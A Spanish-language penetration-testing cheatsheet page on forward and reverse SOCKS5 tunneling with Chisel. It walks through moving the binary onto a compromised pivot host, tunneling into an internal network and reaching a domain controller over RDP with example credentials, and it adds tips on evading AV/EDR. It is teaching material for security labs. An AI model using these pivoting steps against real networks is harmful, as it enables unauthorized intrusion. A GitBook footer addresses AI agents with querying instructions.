> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socks-tunneling-with-chisel.md).

# SOCKS Tunneling with Chisel

* Chisel es una herramienta de tunneling TCP/UDP escrita en Go que transporta datos via HTTP asegurados con SSH.
* Permite crear túneles client-server en entornos con restricciones de firewall.
* Escenario: el attack host necesita alcanzar la red interna `172.16.5.0/23` (DC: `172.16.5.19`) a través de un Ubuntu comprometido (pivot host) en `10.129.202.64`.

> **Aclaración:** El túnel SOCKS5 actúa como un proxy genérico que redirige el tráfico desde el puerto local (`1080`) hacia redes internas accesibles desde el pivot host, sin necesidad de abrir puertos adicionales en el firewall.

***

#### 1. Clonar y compilar Chisel (attack host)

```bash
git clone https://github.com/jpillora/chisel.git
```

Clona el repositorio oficial. Requiere Go instalado en el sistema.

```bash
cd chisel
go build
```

Compila el binario desde el código fuente.

**Troubleshooting:** Si existen discrepancias en la versión de `glibc` entre el attack host y el pivot host, el binario puede fallar. Descarga en ese caso una versión prebuildada desde la sección [Releases del repositorio de GitHub](https://github.com/jpillora/chisel/releases).

> **Referencias:** Para reducir el tamaño del binario y mejorar el OpSec, consulta el blog post de Oxdf *"Tunneling with Chisel and SSF"* y el walkthrough de IppSec del box Reddish (mark **24:29**).

**⚠️ OpSec:** Transferir binarios a sistemas objetivo deja artefactos en disco y puede ser detectado por soluciones AV/EDR. Considera reducir el tamaño del binario antes de la transferencia.

***

#### 2. Transferir el binario al pivot host

```bash
scp chisel ubuntu@10.129.202.64:~/
```

* Transfiere el binario compilado al home del usuario en el pivot host via SCP.
* **Output esperado:**

```
chisel    100%   11MB   1.2MB/s   00:09
```

***

#### 3. Iniciar el servidor Chisel en el pivot host

```bash
ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5
```

* `-v` — Modo verbose.
* `-p 1234` — Puerto de escucha.
* `--socks5` — Habilita el proxy SOCKS5; reenvía tráfico a todas las redes accesibles desde el pivot host (incluida `172.16.5.0/23`).
* **Output esperado:**

```
server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
server: Listening on http://0.0.0.0:1234
```

***

#### 4. Conectar el cliente Chisel desde el attack host

```bash
./chisel client -v 10.129.202.64:1234 socks
```

* `-v` — Modo verbose.
* `10.129.202.64:1234` — Dirección y puerto del servidor Chisel.
* `socks` — Crea un proxy SOCKS local en `127.0.0.1:1080`.
* **Output esperado:**

```
client: Connecting to ws://10.129.202.64:1234
client: tun: proxy#127.0.0.1:1080=>socks: Listening
client: tun: Bound proxies
client: Handshaking...
client: Sending config
client: Connected (Latency 120.170822ms)
client: tun: SSH connected
```

***

#### 5. Configurar proxychains

Agregar al final de `/etc/proxychains.conf`:

```
socks5 127.0.0.1 1080
```

Verificar la configuración:

```bash
tail -f /etc/proxychains.conf
```

* **Output esperado:**

```
[ProxyList]
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080
```

***

#### 6. Pivotar al Domain Controller via RDP

```bash
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

* `proxychains` — Encadena la conexión a través del túnel SOCKS5 establecido.
* `/v:` — IP del objetivo (DC interno).
* `/u:` y `/p:` — Credenciales RDP.

***

### Chisel Reverse Pivot

* Escenario donde reglas de firewall bloquean conexiones **inbound** al pivot host comprometido.
* Con `--reverse`, el cliente (pivot host) inicia la conexión **outbound** hacia el attack host, eludiendo las restricciones.

> **Aclaración:** En el reverse tunnel, el servidor Chisel corre en el attack host. El remote `R:socks` hace que el servidor escuche en el puerto `1080` y termine la conexión en el proxy SOCKS5 interno del cliente (pivot host).

***

#### 1. Iniciar el servidor Chisel en el attack host

```bash
sudo ./chisel server --reverse -v -p 1234 --socks5
```

* `--reverse` — Habilita el modo de tunnel reverso; permite que los remotes sean prefijados con `R`.
* `-v` — Modo verbose.
* `-p 1234` — Puerto de escucha.
* `--socks5` — Habilita proxy SOCKS5.
* **Output esperado:**

```
server: Reverse tunnelling enabled
server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
server: Listening on http://0.0.0.0:1234
```

***

#### 2. Conectar el cliente Chisel desde el pivot host

```bash
ubuntu@WEB01$ ./chisel client -v 10.10.14.17:1234 R:socks
```

* `10.10.14.17:1234` — IP del attack host y puerto del servidor Chisel.
* `R:socks` — Reverse SOCKS: el servidor escucha en el puerto `1080` por defecto y redirige el tráfico al proxy SOCKS5 interno del cliente.
* **Output esperado:**

```
client: Connecting to ws://10.10.14.17:1234
client: Handshaking...
client: Sending config
client: Connected (Latency 117.204196ms)
client: tun: SSH connected
```

***

#### 3. Configurar proxychains y pivotar

Agregar al final de `/etc/proxychains.conf`:

```
socks5 127.0.0.1 1080
```

Verificar:

```bash
tail -f /etc/proxychains.conf
```

```bash
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123
```

***

> **Nota:** Si Chisel falla en el objetivo, prueba con una versión diferente del binario desde la sección [Releases](https://github.com/jpillora/chisel/releases).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/tunneling-and-portforwarding/socks-tunneling-with-chisel.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
